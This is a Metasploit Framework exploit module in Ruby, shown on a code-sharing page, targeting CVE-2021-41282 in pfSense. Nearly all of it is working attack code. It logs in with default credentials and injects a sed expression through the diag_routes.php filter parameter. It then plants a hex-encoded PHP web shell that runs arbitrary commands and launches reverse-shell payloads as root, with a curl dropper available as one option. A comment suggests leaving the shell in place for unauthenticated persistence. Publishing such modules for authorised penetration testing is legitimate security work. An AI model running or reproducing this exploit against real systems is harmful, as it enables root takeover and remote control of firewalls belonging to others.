CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/pfsense_diag_routes_webshell.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
include Msf::Exploit::FileDropper
12
prepend Msf::Exploit::Remote::AutoCheck
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'pfSense Diag Routes Web Shell Upload',
19
'Description' => %q{
20
This module exploits an arbitrary file creation vulnerability in the pfSense
21
HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2
22
and can be exploited by an authenticated user if they have the
23
"WebCfg - Diagnostics: Routing tables" privilege.
24
25
This module uses the vulnerability to create a web shell and execute payloads
26
with root privileges.
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'Abdel Adim "smaury" Oisfi of Shielder', # vulnerability discovery
31
'jbaines-r7' # metasploit module
32
],
33
'References' => [
34
['CVE', '2021-41282'],
35
['URL', 'https://www.shielder.it/advisories/pfsense-remote-command-execution/']
36
],
37
'DisclosureDate' => '2022-02-23',
38
'Platform' => ['unix', 'bsd'],
39
'Arch' => [ARCH_CMD, ARCH_X64],
40
'Privileged' => true,
41
'Targets' => [
42
[
43
'Unix Command',
44
{
45
'Platform' => 'unix',
46
'Arch' => ARCH_CMD,
47
'Type' => :unix_cmd,
48
'DefaultOptions' => {
49
'PAYLOAD' => 'cmd/unix/reverse_openssl'
50
},
51
'Payload' => {
52
'Append' => ' & disown'
53
}
54
}
55
],
56
[
57
'BSD Dropper',
58
{
59
'Platform' => 'bsd',
60
'Arch' => [ARCH_X64],
61
'Type' => :bsd_dropper,
62
'CmdStagerFlavor' => [ 'curl' ],
63
'DefaultOptions' => {
64
'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'
65
}
66
}
67
]
68
],
69
'DefaultTarget' => 1,
70
'DefaultOptions' => {
71
'RPORT' => 443,
72
'SSL' => true
73
},
74
'Notes' => {
75
'Stability' => [CRASH_SAFE],
76
'Reliability' => [REPEATABLE_SESSION],
77
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
78
}
79
)
80
)
81
register_options [
82
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
83
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']),
84
OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),
85
OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
86
]
87
88
@webshell_uri = '/'
89
@webshell_path = '/usr/local/www/'
90
end
91
92
# Authenticate and attempt to exploit the diag_routes.php upload. Unfortunately,
93
# pfsense permissions can be so locked down that we have to try direct exploitation
94
# in order to determine vulnerability. A user can even be restricted from the
95
# dashboard (where other pfsense modules extract the version).
96
def check
97
# Grab a CSRF token so that we can log in
98
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))
99
return CheckCode::Unknown("Didn't receive a response from the target.") unless res
100
return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200
101
return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')
102
103
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
104
return CheckCode::Unknown('Could not find CSRF token') unless csrf
105
106
# send the log in attempt
107
res = send_request_cgi(
108
'uri' => normalize_uri(target_uri.path, '/index.php'),
109
'method' => 'POST',
110
'vars_post' => {
111
'__csrf_magic' => csrf,
112
'usernamefld' => datastore['USERNAME'],
113
'passwordfld' => datastore['PASSWORD'],
114
'login' => ''
115
}
116
)
117
118
return CheckCode::Detected('No response to log in attempt.') unless res
119
return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302
120
121
# save the auth cookie for later user
122
@auth_cookies = res.get_cookies
123
124
# attempt the exploit. Upload a random file to /usr/local/www/ with random contents
125
filename = Rex::Text.rand_text_alpha(4..12)
126
contents = Rex::Text.rand_text_alpha(16..32)
127
res = send_request_cgi({
128
'method' => 'GET',
129
'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
130
'cookie' => @auth_cookies,
131
'encode_params' => false,
132
'vars_get' => {
133
'isAjax' => '1',
134
'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23"
135
}
136
})
137
138
return CheckCode::Safe('No response to upload attempt.') unless res
139
return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200
140
141
# Validate the exploit was successful by requesting the uploaded file
142
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })
143
return CheckCode::Safe('No response to exploit validation check.') unless res
144
return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200
145
146
register_file_for_cleanup("#{@webshell_path}#{filename}")
147
CheckCode::Vulnerable()
148
end
149
150
# Using the path traversal, upload a php webshell to the remote target
151
def drop_webshell
152
webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
153
print_status("Uploading webshell to #{webshell_location}")
154
155
# php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
156
php_shell = '\\x3c\\x3fphp+if($_GET[\\x22cmd\\x22])+\\x7b+system($_GET[\\x22cmd\\x22])\\x3b+\\x7d+\\x3f\\x3e'
157
158
res = send_request_cgi({
159
'method' => 'GET',
160
'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
161
'cookie' => @auth_cookies,
162
'encode_params' => false,
163
'vars_get' => {
164
'isAjax' => '1',
165
'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23"
166
}
167
})
168
169
fail_with(Failure::Disconnected, 'Connection failed') unless res
170
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
171
172
# Test the web shell installed by echoing a random string and ensure it appears in the res.body
173
print_status('Testing if web shell installation was successful')
174
rand_data = Rex::Text.rand_text_alphanumeric(16..32)
175
res = execute_via_webshell("echo #{rand_data}")
176
fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
177
print_good("Web shell installed at #{webshell_location}")
178
179
# This is a great place to leave a web shell for persistence since it doesn't require auth
180
# to touch it. By default, we'll clean this up but the attacker has to option to leave it
181
if datastore['DELETE_WEBSHELL']
182
register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
183
end
184
end
185
186
# Executes commands via the uploaded webshell
187
def execute_via_webshell(cmd)
188
if target['Type'] == :bsd_dropper
189
# the bsd dropper using the reverse shell payload + curl cmdstager doesn't have a good
190
# way to force the payload to background itself (and thus allow the HTTP response to
191
# to return). So we hack it in ourselves. This identifies the ending file cleanup
192
# which should be right after executing the payload.
193
cmd = cmd.sub(';rm -f /tmp/', ' & disown;rm -f /tmp/')
194
end
195
196
res = send_request_cgi({
197
'method' => 'GET',
198
'uri' => normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}"),
199
'vars_get' => {
200
'cmd' => cmd
201
}
202
})
203
204
fail_with(Failure::Disconnected, 'Connection failed') unless res
205
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
206
res
207
end
208
209
def execute_command(cmd, _opts = {})
210
execute_via_webshell(cmd)
211
end
212
213
def exploit
214
# create a randomish web shell name if the user doesn't specify one
215
@webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"
216
217
drop_webshell
218
219
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
220
case target['Type']
221
when :unix_cmd
222
execute_command(payload.encoded)
223
when :bsd_dropper
224
execute_cmdstager
225
end
226
end
227
end
228
229